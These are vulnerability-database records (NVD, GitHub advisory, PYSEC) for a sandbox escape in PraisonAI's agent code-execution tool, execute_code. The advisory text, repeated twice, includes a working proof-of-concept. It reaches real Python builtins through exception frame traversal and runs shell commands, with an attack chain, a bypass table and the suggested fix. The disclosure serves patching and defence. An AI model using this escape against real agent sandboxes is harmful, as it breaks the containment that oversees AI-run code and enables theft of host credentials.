{
  "affected": [
    {
      "affectedData": [
        {
          "product": "praisonaiagents",
          "vendor": "MervinPraison",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.5.115"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "34CC1B67-7607-48E7-BDB4-18F2E011807B",
              "versionEndExcluding": "1.5.115",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "PraisonAI is a multi-agent teams system. Prior to 1.5.115, execute_code() in praisonaiagents.tools.python_tools defaults to sandbox_mode=\"sandbox\", which runs user code in a subprocess wrapped with a restricted __builtins__ dict and an AST-based blocklist. The AST blocklist embedded inside the subprocess wrapper (blocked_attrs of python_tools.py) contains only 11 attribute names \u2014 a strict subset of the 30+ names blocked in the direct-execution path. The four attributes that form a frame-traversal chain out of the sandbox are all absent from the subprocess list (__traceback__, tb_frame, f_back, and f_builtins). Chaining these attributes through a caught exception exposes the real Python builtins dict of the subprocess wrapper frame, from which exec can be retrieved and called under a non-blocked variable name \u2014 bypassing every remaining security layer. This vulnerability is fixed in 1.5.115."
    }
  ],
  "id": "CVE-2026-39888",
  "lastModified": "2026-06-17T10:42:45.400",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.9,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.1,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.9,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.1,
        "impactScore": 6.0,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-39888",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-04-09T20:20:32.970513Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-04-08T21:17:00.990",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Vendor Advisory"
      ],
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qf73-2hrx-xprp"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-657"
        },
        {
          "lang": "en",
          "value": "CWE-693"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.114"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.115"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39888"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-657",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T19:17:28Z",
    "nvd_published_at": "2026-04-08T21:17:00Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`execute_code()` in `praisonaiagents.tools.python_tools` defaults to\n`sandbox_mode=\"sandbox\"`, which runs user code in a subprocess wrapped with a\nrestricted `__builtins__` dict and an AST-based blocklist. The AST blocklist\nembedded inside the subprocess wrapper (`blocked_attrs`, line 143 of\n`python_tools.py`) contains only 11 attribute names \u2014 a strict subset of the 30+\nnames blocked in the direct-execution path. The four attributes that form a\nframe-traversal chain out of the sandbox are all absent from the subprocess list:\n\n| Attribute | In subprocess `blocked_attrs` | In direct-mode `_blocked_attrs` |\n|---|---|---|\n| `__traceback__` | **NO** | YES |\n| `tb_frame` | **NO** | YES |\n| `f_back` | **NO** | YES |\n| `f_builtins` | **NO** | YES |\n\nChaining these attributes through a caught exception exposes the real Python\n`builtins` dict of the subprocess wrapper frame, from which `exec` can be\nretrieved and called under a non-blocked variable name \u2014 bypassing every\nremaining security layer.\n\n**Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.**\n\n---\n\n## Severity\n\n**CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H \u2014 9.9 Critical**\n\n| Vector | Value | Rationale |\n|---|---|---|\n| AV:N | Network | `execute_code` is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments |\n| AC:L | Low | No race conditions or special configuration required |\n| PR:L | Low | Requires ability to submit code through an agent (typical end-user privilege) |\n| UI:N | None | No victim interaction |\n| S:C | Changed | Escapes subprocess sandbox into full host process context |\n| C:H | High | Arbitrary file read, environment variable access, credential exfiltration |\n| I:H | High | Arbitrary file write, arbitrary code execution on host |\n| A:H | High | Can terminate processes, exhaust resources |\n\n---\n\n## Affected\n\n- **Package**: `praisonaiagents` (PyPI)\n- **Affected versions**: all versions shipping `sandbox_mode=\"sandbox\"` (default since introduction) through **1.5.113**\n- **Patched versions**: none at time of report\n- **File**: `praisonaiagents/tools/python_tools.py`\n\n---\n\n## Root Cause\n\n### Two separate `blocked_attrs` sets \u2014 one much weaker than the other\n\n`_validate_code_ast()` (line 39, used by direct mode) blocks 30+ attributes:\n\n```python\n# python_tools.py line 52 \u2014 direct mode (FULL list, correctly includes frame attrs)\n_blocked_attrs = frozenset({\n    \u0027__subclasses__\u0027, \u0027__bases__\u0027, \u0027__mro__\u0027, \u0027__globals__\u0027,\n    \u0027__code__\u0027, \u0027__class__\u0027, \u0027__dict__\u0027, \u0027__builtins__\u0027,\n    \u0027__import__\u0027, \u0027__loader__\u0027, \u0027__spec__\u0027, \u0027__init_subclass__\u0027,\n    \u0027__set_name__\u0027, \u0027__reduce__\u0027, \u0027__reduce_ex__\u0027,\n    \u0027__traceback__\u0027, \u0027__qualname__\u0027, \u0027__module__\u0027,   # \u2190 present here\n    \u0027__wrapped__\u0027, \u0027__closure__\u0027, \u0027__annotations__\u0027,\n    \u0027gi_frame\u0027, \u0027gi_code\u0027, \u0027cr_frame\u0027, \u0027cr_code\u0027,\n    \u0027ag_frame\u0027, \u0027ag_code\u0027, \u0027tb_frame\u0027, \u0027tb_next\u0027,    # \u2190 present here\n    \u0027f_globals\u0027, \u0027f_locals\u0027, \u0027f_builtins\u0027, \u0027f_code\u0027, # \u2190 present here\n    \u0027co_consts\u0027, \u0027co_names\u0027,\n})\n```\n\nThe subprocess wrapper script written to disk (line 143) uses a separate,\n**inline** `blocked_attrs` with only 11 entries \u2014 the frame-traversal attrs are\n**missing**:\n\n```python\n# python_tools.py line 143 \u2014 subprocess wrapper (SHORT list, MISSING frame attrs)\nblocked_attrs = {\n    \u0027__subclasses__\u0027, \u0027__bases__\u0027, \u0027__mro__\u0027, \u0027__globals__\u0027,\n    \u0027__code__\u0027, \u0027__class__\u0027, \u0027__dict__\u0027, \u0027__builtins__\u0027,\n    \u0027__import__\u0027, \u0027__loader__\u0027, \u0027__spec__\u0027\n    # __traceback__, tb_frame, f_back, f_builtins \u2014 all absent\n}\n```\n\n### `_safe_getattr` does not protect direct dot-notation access\n\n`_safe_getattr` replaces the `getattr` builtin and blocks attribute names\nstarting with `_`. However, it is only invoked when user code explicitly calls\n`getattr(obj, name)`. Direct attribute access (`obj.attr` in source) uses\nPython\u0027s C-level `tp_getattro` slot and **never passes through `_safe_getattr`**.\nThe AST check is therefore the only barrier to direct attribute access, and it\nis insufficient.\n\n### No text-pattern blocklist in subprocess mode\n\n`_execute_code_direct` applies a text-pattern blocklist (`dangerous_patterns`)\nas a defence-in-depth layer. `_execute_code_sandboxed` has no such layer \u2014\nonly the AST check runs.\n\n---\n\n## Proof of Concept\n\n```python\nimport os\nos.environ[\"PRAISONAI_AUTO_APPROVE\"] = \"true\"\nfrom praisonaiagents.tools.python_tools import execute_code\n\nCMD = \"id\"   # any shell command\n\npayload = f\"\"\"\ntry:\n    1/0\nexcept ZeroDivisionError as e:\n    _p = e.__traceback__.tb_frame.f_back\n    _x = _p.f_builtins[\"exec\"]\n    _x(\"import subprocess; print(subprocess.check_output({repr(CMD)}, shell=True).decode())\",\n       {{\"__builtins__\": _p.f_builtins}})\n\"\"\"\n\nresult = execute_code(code=payload)\nprint(result[\"stdout\"])\n```\n\n**Output (praisonaiagents 1.5.113, Python 3.10):**\n\n```\nuid=1000(user) gid=1000(user) groups=1000(user)\n```\n\u003cimg width=\"775\" height=\"429\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a110b596-45be-431c-bf5a-9a6b0901bcaf\" /\u003e\n\n**Why each defence is bypassed:**\n\n| Layer | Status | Reason |\n|---|---|---|\n| AST `blocked_attrs` | **BYPASSED** | `__traceback__`, `tb_frame`, `f_back`, `f_builtins` not in 11-item subprocess list |\n| `_safe_getattr` | **BYPASSED** | Only intercepts `getattr()` calls; dot notation uses C-level `tp_getattro` |\n| `exec`-by-name AST check | **BYPASSED** | Called as `_x(...)` \u2014 `func.id` is `\u0027_x\u0027`, not `\u0027exec\u0027` |\n| Text-pattern blocklist | **N/A** | Does not exist in subprocess mode |\n| Subprocess process isolation | **BYPASSED** | Frame traversal reaches real builtins *within* the subprocess |\n\n---\n\n## Attack Chain\n\n```\nexecute_code(payload)\n  \u2514\u2500 _execute_code_sandboxed()\n       \u2514\u2500 subprocess: exec(user_code, safe_globals)\n            \u2514\u2500 user_code raises ZeroDivisionError\n                 \u2514\u2500 e.__traceback__           \u2190 __traceback__ not in blocked_attrs\n                      \u2514\u2500 .tb_frame           \u2190 tb_frame not in blocked_attrs\n                           \u2514\u2500 .f_back        \u2190 f_back not in blocked_attrs\n                                \u2514\u2500 .f_builtins  \u2190 f_builtins not in blocked_attrs\n                                     \u2514\u2500 [\"exec\"]  \u2190 dict subscript, no attr check\n                                          \u2514\u2500 _x(\"import subprocess; ...\")\n                                               \u2514\u2500 RCE\n```\n\n---\n\n## Impact\n\nAny application that exposes `execute_code` to user-controlled or\nLLM-generated input \u2014 including all standard PraisonAI agent deployments \u2014 is\nfully compromised by a single API call:\n\n- **Arbitrary command execution** on the host (in the subprocess user context)\n- **File system read/write** \u2014 source code, credentials, `.env` files, SSH keys\n- **Environment variable exfiltration** \u2014 API keys, secrets passed to the agent process\n- **Network access** \u2014 outbound connections to attacker infrastructure unaffected by `env={}`\n- **Lateral movement** \u2014 the subprocess inherits the host\u0027s network stack and filesystem\n\n---\n\n## Suggested Fix\n\n### 1. Merge `blocked_attrs` into a single shared constant\n\nThe subprocess wrapper must use the same attribute blocklist as the direct mode.\nReplace the inline `blocked_attrs` in the wrapper template with the full set:\n\n```python\n# Add to subprocess wrapper template (python_tools.py ~line 143):\nblocked_attrs = {\n    \u0027__subclasses__\u0027, \u0027__bases__\u0027, \u0027__mro__\u0027, \u0027__globals__\u0027,\n    \u0027__code__\u0027, \u0027__class__\u0027, \u0027__dict__\u0027, \u0027__builtins__\u0027,\n    \u0027__import__\u0027, \u0027__loader__\u0027, \u0027__spec__\u0027, \u0027__init_subclass__\u0027,\n    \u0027__set_name__\u0027, \u0027__reduce__\u0027, \u0027__reduce_ex__\u0027,\n    \u0027__traceback__\u0027, \u0027__qualname__\u0027, \u0027__module__\u0027,    # \u2190 ADD\n    \u0027__wrapped__\u0027, \u0027__closure__\u0027, \u0027__annotations__\u0027,  # \u2190 ADD\n    \u0027gi_frame\u0027, \u0027gi_code\u0027, \u0027cr_frame\u0027, \u0027cr_code\u0027,    # \u2190 ADD\n    \u0027ag_frame\u0027, \u0027ag_code\u0027, \u0027tb_frame\u0027, \u0027tb_next\u0027,    # \u2190 ADD\n    \u0027f_globals\u0027, \u0027f_locals\u0027, \u0027f_builtins\u0027, \u0027f_code\u0027, # \u2190 ADD\n    \u0027co_consts\u0027, \u0027co_names\u0027,                          # \u2190 ADD\n}\n```\n\n### 2. Block all `_`-prefixed attribute access at AST level\n\n`_safe_getattr` only covers `getattr()` calls. Add a blanket AST rule to block\nany `ast.Attribute` node whose `attr` starts with `_`:\n\n```python\nif isinstance(node, ast.Attribute) and node.attr.startswith(\u0027_\u0027):\n    return f\"Access to private attribute \u0027{node.attr}\u0027 is restricted\"\n```\n\n### 3. Add the text-pattern layer to subprocess mode\n\nMirror `_execute_code_direct`\u0027s `dangerous_patterns` check in\n`_execute_code_sandboxed` as defence-in-depth.\n\n---\n\n## References\n\n- Affected file: `praisonaiagents/tools/python_tools.py` (PyPI: `praisonaiagents`)\n- CWE-693: Protection Mechanism Failure\n- CWE-657: Violation of Secure Design Principles",
  "id": "GHSA-qf73-2hrx-xprp",
  "modified": "2026-04-09T14:29:06Z",
  "published": "2026-04-08T19:17:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qf73-2hrx-xprp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39888"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI has sandbox escape via exception frame traversal in `execute_code` (subprocess mode)"
}

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  ],
  "aliases": [
    "CVE-2026-39888",
    "GHSA-qf73-2hrx-xprp"
  ],
  "details": "## Summary\n\n`execute_code()` in `praisonaiagents.tools.python_tools` defaults to\n`sandbox_mode=\"sandbox\"`, which runs user code in a subprocess wrapped with a\nrestricted `__builtins__` dict and an AST-based blocklist. The AST blocklist\n embedded inside the subprocess wrapper (`blocked_attrs`, line 143 of\n`python_tools.py`) contains only 11 attribute names \u2014 a strict subset of the 30+\nnames blocked in the direct-execution path. The four attributes that form a\nframe-traversal chain out of the sandbox are all absent from the subprocess list:\n\n| Attribute | In subprocess `blocked_attrs` | In direct-mode `_blocked_attrs` |\n|---|---|---|\n | `__traceback__` | **NO** | YES |\n| `tb_frame` | **NO** | YES |\n| `f_back` | **NO** | YES |\n| `f_builtins` | **NO** | YES |\n\nChaining these attributes through a caught exception exposes the real Python\n`builtins` dict of the subprocess wrapper frame, from which `exec` can be\nretrieved and called under a non-blocked variable name \u2014 bypassing every\nremaining security layer.\n\n**Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.**\n\n---\n\n## Severity\n\n**CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H \u2014 9.9 Critical**\n\n| Vector | Value | Rationale |\n|---|---|---|\n| AV:N | Network | `execute_code` is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments |\n| AC:L | Low | No race conditions or special configuration required |\n| PR:L | Low | Requires ability to submit code through an agent (typical end-user privilege) |\n| UI:N | None | No victim interaction |\n| S:C | Changed | Escapes subprocess sandbox into full host process context |\n | C:H | High | Arbitrary file read, environment variable access, credential exfiltration |\n| I:H | High | Arbitrary file write, arbitrary code execution on host |\n| A:H | High | Can terminate processes, exhaust resources |\n\n---\n\n## Affected\n\n - **Package**: `praisonaiagents` (PyPI)\n- **Affected versions**: all versions shipping `sandbox_mode=\"sandbox\"` (default since introduction) through **1.5.113**\n- **Patched versions**: none at time of report\n- **File**: `praisonaiagents/tools/python_tools.py`\n \n---\n\n## Root Cause\n\n### Two separate `blocked_attrs` sets \u2014 one much weaker than the other\n\n`_validate_code_ast()` (line 39, used by direct mode) blocks 30+ attributes:\n\n```python\n# python_tools.py line 52 \u2014 direct mode (FULL list, correctly includes frame attrs)\n_blocked_attrs = frozenset({\n    \u0027__subclasses__\u0027, \u0027__bases__\u0027, \u0027__mro__\u0027, \u0027__globals__\u0027,\n    \u0027__code__\u0027, \u0027__class__\u0027, \u0027__dict__\u0027, \u0027__builtins__\u0027,\n    \u0027__import__\u0027, \u0027__loader__\u0027, \u0027__spec__\u0027, \u0027__init_subclass__\u0027,\n    \u0027__set_name__\u0027, \u0027__reduce__\u0027, \u0027__reduce_ex__\u0027,\n    \u0027__traceback__\u0027, \u0027__qualname__\u0027, \u0027__module__\u0027,   # \u2190 present here\n    \u0027__wrapped__\u0027, \u0027__closure__\u0027, \u0027__annotations__\u0027,\n    \u0027gi_frame\u0027, \u0027gi_code\u0027, \u0027cr_frame\u0027, \u0027cr_code\u0027,\n    \u0027ag_frame\u0027, \u0027ag_code\u0027, \u0027tb_frame\u0027, \u0027tb_next\u0027,    # \u2190 present here\n    \u0027f_globals\u0027, \u0027f_locals\u0027, \u0027f_builtins\u0027, \u0027f_code\u0027, # \u2190 present here\n    \u0027co_consts\u0027, \u0027co_names\u0027,\n})\n```\n\nThe subprocess wrapper script written to disk (line 143) uses a separate,\n**inline** `blocked_attrs` with only 11 entries \u2014 the frame-traversal attrs are\n**missing**:\n\n```python\n# python_tools.py line 143 \u2014 subprocess wrapper (SHORT list, MISSING frame attrs)\nblocked_attrs = {\n    \u0027__subclasses__\u0027, \u0027__bases__\u0027, \u0027__mro__\u0027, \u0027__globals__\u0027,\n    \u0027__code__\u0027, \u0027__class__\u0027, \u0027__dict__\u0027, \u0027__builtins__\u0027,\n    \u0027__import__\u0027, \u0027__loader__\u0027, \u0027__spec__\u0027\n    # __traceback__, tb_frame, f_back, f_builtins \u2014 all absent\n}\n```\n\n### `_safe_getattr` does not protect direct dot-notation access\n\n`_safe_getattr` replaces the `getattr` builtin and blocks attribute names\nstarting with `_`. However, it is only invoked when user code explicitly calls\n`getattr(obj, name)`. Direct attribute access (`obj.attr` in source) uses\nPython\u0027s C-level `tp_getattro` slot and **never passes through `_safe_getattr`**.\nThe AST check is therefore the only barrier to direct attribute access, and it\nis insufficient.\n\n### No text-pattern blocklist in subprocess mode\n\n`_execute_code_direct` applies a text-pattern blocklist (`dangerous_patterns`)\n as a defence-in-depth layer. `_execute_code_sandboxed` has no such layer \u2014\nonly the AST check runs.\n\n---\n\n## Proof of Concept\n\n```python\nimport os\nos.environ[\"PRAISONAI_AUTO_APPROVE\"] = \"true\"\nfrom praisonaiagents.tools.python_tools import execute_code\n\nCMD = \"id\"   # any shell command\n\npayload = f\"\"\"\ntry:\n    1/0\nexcept ZeroDivisionError as e:\n    _p = e.__traceback__.tb_frame.f_back\n    _x = _p.f_builtins[\"exec\"]\n    _x(\"import subprocess; print(subprocess.check_output({repr(CMD)}, shell=True).decode())\",\n       {{\"__builtins__\": _p.f_builtins}})\n\"\"\"\n\n result = execute_code(code=payload)\nprint(result[\"stdout\"])\n```\n\n**Output (praisonaiagents 1.5.113, Python 3.10):**\n\n```\nuid=1000(user) gid=1000(user) groups=1000(user)\n```\n\u003cimg width=\"775\" height=\"429\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a110b596-45be-431c-bf5a-9a6b0901bcaf\" /\u003e\n\n**Why each defence is bypassed:**\n\n| Layer | Status | Reason |\n|---|---|---|\n | AST `blocked_attrs` | **BYPASSED** | `__traceback__`, `tb_frame`, `f_back`, `f_builtins` not in 11-item subprocess list |\n| `_safe_getattr` | **BYPASSED** | Only intercepts `getattr()` calls; dot notation uses C-level `tp_getattro` |\n| `exec`-by-name AST check | **BYPASSED** | Called as `_x(...)` \u2014 `func.id` is `\u0027_x\u0027`, not `\u0027exec\u0027` |\n | Text-pattern blocklist | **N/A** | Does not exist in subprocess mode |\n| Subprocess process isolation | **BYPASSED** | Frame traversal reaches real builtins *within* the subprocess |\n\n---\n\n## Attack Chain\n\n```\nexecute_code(payload)\n  \u2514\u2500 _execute_code_sandboxed()\n       \u2514\u2500 subprocess: exec(user_code, safe_globals)\n            \u2514\u2500 user_code raises ZeroDivisionError\n                 \u2514\u2500 e.__traceback__           \u2190 __traceback__ not in blocked_attrs\n                      \u2514\u2500 .tb_frame           \u2190 tb_frame not in blocked_attrs\n                           \u2514\u2500 .f_back        \u2190 f_back not in blocked_attrs\n                                \u2514\u2500 .f_builtins  \u2190 f_builtins not in blocked_attrs\n                                     \u2514\u2500 [\"exec\"]  \u2190 dict subscript, no attr check\n                                          \u2514\u2500 _x(\"import subprocess; ...\")\n                                               \u2514\u2500 RCE\n```\n\n---\n\n## Impact\n \nAny application that exposes `execute_code` to user-controlled or\nLLM-generated input \u2014 including all standard PraisonAI agent deployments \u2014 is\nfully compromised by a single API call:\n\n- **Arbitrary command execution** on the host (in the subprocess user context)\n- **File system read/write** \u2014 source code, credentials, `.env` files, SSH keys\n- **Environment variable exfiltration** \u2014 API keys, secrets passed to the agent process\n- **Network access** \u2014 outbound connections to attacker infrastructure unaffected by `env={}`\n- **Lateral movement** \u2014 the subprocess inherits the host\u0027s network stack and filesystem\n\n---\n\n## Suggested Fix\n\n### 1. Merge `blocked_attrs` into a single shared constant\n\nThe subprocess wrapper must use the same attribute blocklist as the direct mode.\nReplace the inline `blocked_attrs` in the wrapper template with the full set:\n\n```python\n# Add to subprocess wrapper template (python_tools.py ~line 143):\nblocked_attrs = {\n    \u0027__subclasses__\u0027, \u0027__bases__\u0027, \u0027__mro__\u0027, \u0027__globals__\u0027,\n    \u0027__code__\u0027, \u0027__class__\u0027, \u0027__dict__\u0027, \u0027__builtins__\u0027,\n    \u0027__import__\u0027, \u0027__loader__\u0027, \u0027__spec__\u0027, \u0027__init_subclass__\u0027,\n    \u0027__set_name__\u0027, \u0027__reduce__\u0027, \u0027__reduce_ex__\u0027,\n    \u0027__traceback__\u0027, \u0027__qualname__\u0027, \u0027__module__\u0027,    # \u2190 ADD\n    \u0027__wrapped__\u0027, \u0027__closure__\u0027, \u0027__annotations__\u0027,  # \u2190 ADD\n    \u0027gi_frame\u0027, \u0027gi_code\u0027, \u0027cr_frame\u0027, \u0027cr_code\u0027,    # \u2190 ADD\n    \u0027ag_frame\u0027, \u0027ag_code\u0027, \u0027tb_frame\u0027, \u0027tb_next\u0027,    # \u2190 ADD\n    \u0027f_globals\u0027, \u0027f_locals\u0027, \u0027f_builtins\u0027, \u0027f_code\u0027, # \u2190 ADD\n    \u0027co_consts\u0027, \u0027co_names\u0027,                          # \u2190 ADD\n}\n```\n\n### 2. Block all `_`-prefixed attribute access at AST level\n\n`_safe_getattr` only covers `getattr()` calls. Add a blanket AST rule to block\nany `ast.Attribute` node whose `attr` starts with `_`:\n\n```python\nif isinstance(node, ast.Attribute) and node.attr.startswith(\u0027_\u0027):\n    return f\"Access to private attribute \u0027{node.attr}\u0027 is restricted\"\n```\n\n ### 3. Add the text-pattern layer to subprocess mode\n\nMirror `_execute_code_direct`\u0027s `dangerous_patterns` check in\n`_execute_code_sandboxed` as defence-in-depth.\n\n ---\n\n## References\n\n- Affected file: `praisonaiagents/tools/python_tools.py` (PyPI: `praisonaiagents`)\n- CWE-693: Protection Mechanism Failure\n- CWE-657: Violation of Secure Design Principles",
  "id": "PYSEC-2026-486",
  "modified": "2026-07-01T20:23:01.968066Z",
  "published": "2026-06-29T11:50:48.093694Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qf73-2hrx-xprp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39888"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/praisonaiagents"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-qf73-2hrx-xprp"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI has sandbox escape via exception frame traversal in `execute_code` (subprocess mode)"
}